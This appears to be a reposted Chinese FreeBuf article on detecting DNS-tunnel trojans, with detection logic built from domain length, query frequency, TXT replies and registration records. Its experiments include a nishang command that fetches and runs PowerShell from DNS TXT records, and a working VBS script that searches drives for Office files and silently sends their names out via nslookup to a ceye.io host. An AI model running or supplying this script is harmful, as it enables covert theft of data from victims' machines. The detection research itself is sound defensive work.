一次误报引发的DNS检测方案的思考:DNS隧道检测平民解决方案

随着dns隧道应用的越来越广泛,尤其是xshell事件被公布以后,各大公司纷纷启动对dns隧道的监控,参考xshell的逻辑,大多数公司采取了“监控多个终端请求异常长度域名”的检测方案,其中注重检出率的公司为了提高检出率(当然会提高误报率)进一步降低了多终端的数量,采取了“单个终端请求了异常长度的域名”的方案来发现所有疑似dns隧道木马。

笔者前阵子突然发现几台机器频繁解析诡的域名,如下:

经过紧张的排查定位确认为浏览器的某插件导致,相关全域名存在注册记录,非dns隧道木马,为误报。大家都松了口气,但是也引起了反思,怎么才能更精准的发现真正的dns隧道木马?

大数据分析?够高大上!但落地成本高,复杂度也高,对于一般公司来说很难实施,为此笔者从dns隧道的原理和黑客的思路入手分析,提出一些简单的检测方案,仅供参考!

正文:

原理分析:

众所周知,dns隧道木马外传数据是利用1、过长的不存在的域名(其中随机数即为外传数据)2、txt回包作为回传数据(更新配置、模块等),详细分析这种利用开放53端口(可广义理解为漏洞)的传输方式的技术:

1、**通用外传方式分析**

a) 方式1:利用本机dns配置,发送域名请求,通过递归到达黑客控制的dns服务器(坏人需拥有或拿下dns服务 器) b) 方式2:更改本机dns配置,配置为8.8.8.8等公共dns,然后通过递归外传到达黑客控制的dns服务器 c) 方式3:直接构造dns包体,发送到8.8.8.8等公共dns,然后利用递归外传到达黑客控制的dns服务器 d) 方式4:直接构造dns包体,发送到本机dns服务器,然后利用递归外传到达黑客控制的dns服务器 e) 方式5:直接构造dns包体,发送到自己控制的dns服务器,直接获取数据

2、**安全取证分析**

a) 方式1:此方式走系统dns配置,无法获取哪个程序调用了dns请求,仅能看到系统svchost.exe进行了dns请求,但一旦发现异常可通过配置dns黑名单止损 b) 方式2:此方式走系统dns配置,无法获取哪个程序调用了dns请求,仅可获取dns配置被更改的日志,但无法获取谁更改的,仅能看到系统svchost.exe进行了dns请求,因公共服务不在公司控制范围,所有无法通过配置域名解析黑名单止损 c) 方式3:此方式可获取哪个进程发起了dns请求(xshell就是利用了此方案),同样,因公共服务不在公司控制范围,所有无法通过配置域名解析黑名单止损 d) 方式4:此方式可获取哪个进程发起了dns请求(xshell就是利用了此方案),但一旦发现异常可通过配置dns黑名单止损 e) 方式5:此方式可获取哪个进程发起了dns请求,但直接暴露黑客dns位置,可通过直接屏蔽恶意dns目的止损

3、**恶意进程和黑dns服务器交互分析**

a) 恶意进程仅用超长域名记录外传数据,不利用txt回包获取回传数据,不利用A记录回包作为C&C地址,纯窃取敏感信息的木马就是利用此方式,这行情况下:

i. dns服务器无需提供解析服务,即dns服务器可以无回包 ii. dns服务器如提供解析服务返回解析的ip地址,但本机进程也不关注,即本机进程不对解析结果发包(无socket通信)

b) 恶意进程用超长域名记录外传数据,利用txt回包获取回传数据,不利用A记录回包作为C&C地址,xshell就是利用此方式,这行情况下:

i. dns服务器需提供解析服务,即dns服务器有txt回包,可能有A记录回包 ii. dns服务器需提供解析服务,但本机进程也不关注,即本机进程不对解析结果发包(无socket通信)

c) 恶意进程用超长域名记录外传数据,利用txt回包获取回传数据,并利用A记录回包作为C&C地址,此方式不是纯dns隧道,不符合dns的隐蔽性,从dns隧道角度分析黑客理论上利用此方式几率极小,这行情况下:

i. dns服务器需提供解析服务,即dns服务器有txt回包,可能有A记录回包 ii. 本机程序对解析出的A记录发起访问(有socket通信)

d) 恶意进程用超长域名记录外传数据,不利用txt回包获取回传数据,但利用A记录回包作为C&C地址,但此方式多为正常程序使用,不是纯dns隧道,不符合dns的隐蔽性,从dns隧道角度分析黑客理论上利用此方式几率极小,这行情况下:

i. dns服务器需提供解析服务,即dns服务器有回包,但是A记录类型 ii. 本机进程对此A记录进行访问关注,即本机进程对解析结果地址发包

结论:

完成外传方式分析、取证分析、恶意进程和黑dns服务器交互分析等三部分的分析后,我们已完全掌握黑客的伎俩,接下来我们再深入分析下,首先,我们结合下黑客的心理,黑客利用dns隧道的目的是绕过防御(如禁止外联)、躲避流量检测(如snort特征码检测)、躲避ioc检测(如外联恶意ip、恶意域名)等,那黑客必然不会对dns相关(如解析出的ip)的ip进行额外的通信,如http、socket等,既是存在非dns通信也是通过txt回包获取c&c罢了,这样才可以充分利用dns的隐蔽性。其次我们从黑客入侵的目的出发,入侵的最终目的无非是为了窃取数据外传,窃取单个账号密码只是中间过程,最终还是为了窃取大量数据,那利用dns怎么外传大量数据呢,超长域名*频率就是外传的数据量,仅超长域名不排除在外传账号密码等少量新的可能性,但高频率就一定在大量外传了。第三从域名注册角度分析,dns必然涉及到域名问题,假设正在请求的超长域名已存在注册记录,那必然不是dns隧道方式,因注册记录是固定的,能承载的信息也就是固定的,一定不可能是外传的数据。

通过以上分析得出监控需要关注的几个要素:长域名、频率、txt类型、终端是否对解析ip发起访问、是否有全域名注册记录,推导检测逻辑如下:

方向1:特征检测:

检测窃密木马(无需更新和接收指令): 【域名超长 or 频率高】 and 【终端无进程对返回的A记录(如有)发起访问】 and 【不存在全域名注册记录】

检测远控木马(需更新和接收指令): 【域名超长 or 频率高】 and 【终端无进程对返回的A记录(如有)发起访问】 and 【不存在全域名注册记录】 and 【存在txt回包】

通用检测(可发现单次外传,存在浏览器预解析等误报,需结合其他特征确认):

{【存在txt回包】and 【不存在全域名注册记录】} or {【终端无进程对返回的A记录(如有)发起访问】 and 【不存在全域名注册记录】}

方向2:基于外传量检测,发现正在进行的大量数据泄露(不分析细节,仅供参考,本次实验不涉及):

单台机器检测: 域名长度(3+N级的域名) * 域名数量(相同只计算一个) > 单台机器阈值,评测外传数据大小,达到阈值则触发报警

群体事件检测: A机器域名长度(3+N级的域名)* A机器域名数量(相同只计算一个) + B +… > 多台机器阈值,评测外传数据大小,达到阈值则触发报警

实验验证分析:

为验证此方案的逻辑正确性,笔者实验如下:

Xshell实验验证:

1、直接运行xshell,触发dns行为

2、外传结果抓包:

3、检测逻辑匹配分析:

a) 外传域名超长 b) 频率较高 c) 类型为TXT,有回包 d) 无A记录解析结果,也就无程序对结果发起访问 e) 不存在全域名注册记录(黑客根据算法提前注册了部分域名,但全域名无注册信息)

结论:窃密木马+远控木马

Powershell dns实验验证:

1、利用powershell构造dns隧道

a) 编写一个最简单的一句话脚本,获取服务列表

b) 使用nishang的Out-NnsTxt将脚本GetServiceToTxt.ps1转换为txt记录

c) 在dns服务器建立对应txt记录(后续执行需按照1,2,3,4的顺序,所以建立记录名为1)

验证结果,ok

d) 使用nishang的DNS_TXT_Pwnage读取txt并执行(脚本自动在test.com前加1,向1.test.com请求txt记录作为脚本执行。不过笔者最终也没搞懂stopstring这个参数的原理,懂的朋友麻烦私信下,谢谢! ),可正常获取服务列表。

命令和结果如下:

DNS_TXT_Pwnage -startdomainstartflag.test.com -cmdstring nostart -commanddomain txt1.test.com -psstring startflag -psdomain test.com -Subdomains 1 -stopstring stopflag

2、外传结果抓包:

使用Microsoft Network Monitor抓包分析

3、检测逻辑匹配分析:

a) 因实验未将结果外传,所以域名长度不大,如dns隧道外传则必使用长域名 b) 因实验未将结果外传,所以频率不高,且只获取远端的get-server功能,频率也不高,但要实现外传和获取更多功能(如mimikatz等),则必然需要高频率 c) 类型为TXT,有回包 d) 无A记录解析结果,也就无程序对结果发起访问 e) 此实验场景未覆盖外传数据,所以不涉及注册问题

结论:远控木马(实验功能较单一,扩展为大马则可精确覆盖检测特征)

利用ceye.io的外传实验验证

1、 少量信息窃取和大量信息窃取

a) 单次少量信息窃取外传,简单利用windows命令(ping、nslookup等)即可窃取机器名

b) 多次大量信息窃取,编写脚本,搜索文档(word、excel、ppt),并外传文件名(此脚本360 未报警),vbs脚本内容如下 ( 代码未充分验证,不保证无错误,中文支持或读文件内容请自行修改):

'On ErrorResume NextSet fso =CreateObject("Scripting.FileSystemObject")toolsName=Array(".docx",".doc",".xls",".xlsx",".ppt",".pptx")'ConstDRIVE_LETTERS="C:D:E:F:G:H:I:J:K:L:M:N:O:P:Q:R:S:T:U:V:W:X:Y:Z"ConstDRIVE_LETTERS="o"''''''''''''开始搜索CallScanDrives()                      ''''''''''''''''''''SubScanDrives()     Dim drives     drives=Split(DRIVE_LETTERS,":")     For Each drv In drives        If fso.DriveExists(drv) Then             Set drive=fso.GetDrive(drv)            If drive.isReady Then                CallScanFiles(drive.RootFolder)            End If        End If     Next End Sub '''''''''''' SubScanFiles(folder)     For Each this_file In folder.Files        On Error Resume Next        Call FindKeyFile(this_file)        WScript.Sleep 1     Next    For Each this_folder In folder.SubFolders        On Error Resume Next        Call ScanFiles(this_folder)        WScript.Sleep 1     Next    End Sub '''''''''''查找特定文件 SubFindKeyFile(file)    On Error Resume Next   For Each tool_name In toolsName         'WScript.Echo          ''''将文件名都转为大写匹配         IfInStr(UCase(file.name),UCase(tool_name)) <>0 Then             DnsStr= file.name &".xxxxxxx.ceye.io"        ''''进行静默nslookup上传                         setobjShell=wscript.createObject("wscript.shell")                      objShell.exec("%comspec% /c nslookup " & DnsStr)             End If     Next End Sub

2、外传结果展示:

a) 单次少量信息窃取外传

b) 多次大量信息窃取

3、检测逻辑匹配分析:

a) 利用A记录外传,非txt回包,长度不超长(实验原因,未充分利用域名长度),但频率较高,解析过程未发现异常(但此截图为8.8.8.8,非系统dns存在一定风险)

b) 对解析A记录结果无后续访问

c) 不存在全域名注册记录

结论:窃取数据木马

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2017-10-09

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏owent

libcopp的线程安全、栈池和merge boost.context 1.64.0

前段时间看到了一个完成读比较高的协程库-libgo,里面提供了线程安全的协程实现,并且也是使用锁。本来我并没有给libcopp里的功能加锁的打算,因为上层dis...

1221
来自专栏IT技术精选文摘

缓存更新的套路

看到好些人在写更新缓存数据代码时,先删除缓存,然后再更新数据库,而后续的操作会把数据再装载的缓存中。然而,这个是逻辑是错误的。试想,两个并发操作,一个是更新操作...

3997
来自专栏coding

swoole框架-swoft实现程圣母与云天明对话功能启动ws服务创建http服务的聊天控制器创建视图文件创建ws控制器结果演示

当万有引力号启动广播按钮,向宇宙发送三体星的坐标时,地球已经失去了任何侵略价值。三体人将所有在地球的资源全部撤走,但在临别时,安排了程圣母与云天明的远程会话。接...

1792
来自专栏玄魂工作室

python无线网络安全入门案例【翻译】

原文链接:http://www.devx.com/security/Article/34741 翻译:诸神的黄昏 整理校对:玄魂 可能有些术语翻译的不够...

5027
来自专栏SDNLAB

【连载-5】数据中心网络虚拟化 网关及服务接入

网络虚拟化网关技术 虚拟网络中的虚拟机与外部网络通信的需求催生了网络虚拟化中网关(Gateway)技术的出现。现有虚拟化平台网关产品有:IBM SDN VE G...

3498
来自专栏我的博客

电脑自动开机

通过CMOS设置实现定时开机的设置过程如下: 首先进入“CMOS SETUP”程序(大多数主板是在计算机启动时按DEL键进入); 然后将光条移到“Power”选...

3695
来自专栏阮一峰的网络日志

如何验证 Email 地址:SMTP 协议入门教程

Email 是最常用的用户识别手段。 开发者常常需要验证邮箱的真实性。一般的方法是,注册时向该邮箱发出一封验证邮件,要求用户点击邮件里面的链接。 ? 但是很多时...

6723
来自专栏pangguoming

最火的Android开源项目整理

一、代码库 1、from  代码家 整理比较好的源码连接 ***************************************************...

7924
来自专栏Android开发经验

Android USB转串口通信开发基本流程

2943
来自专栏北京马哥教育

用 Python 搞定正方教务系统之抢课篇

最近学校开始选课,但是如果选课时间与自己的事情冲突,这时候就可以使用Python脚本自助抢课,抢课的第一步即是模拟登录,需要模拟登录后保存登录信息然后再进行操作...

3800

扫码关注云+社区

领取腾讯云代金券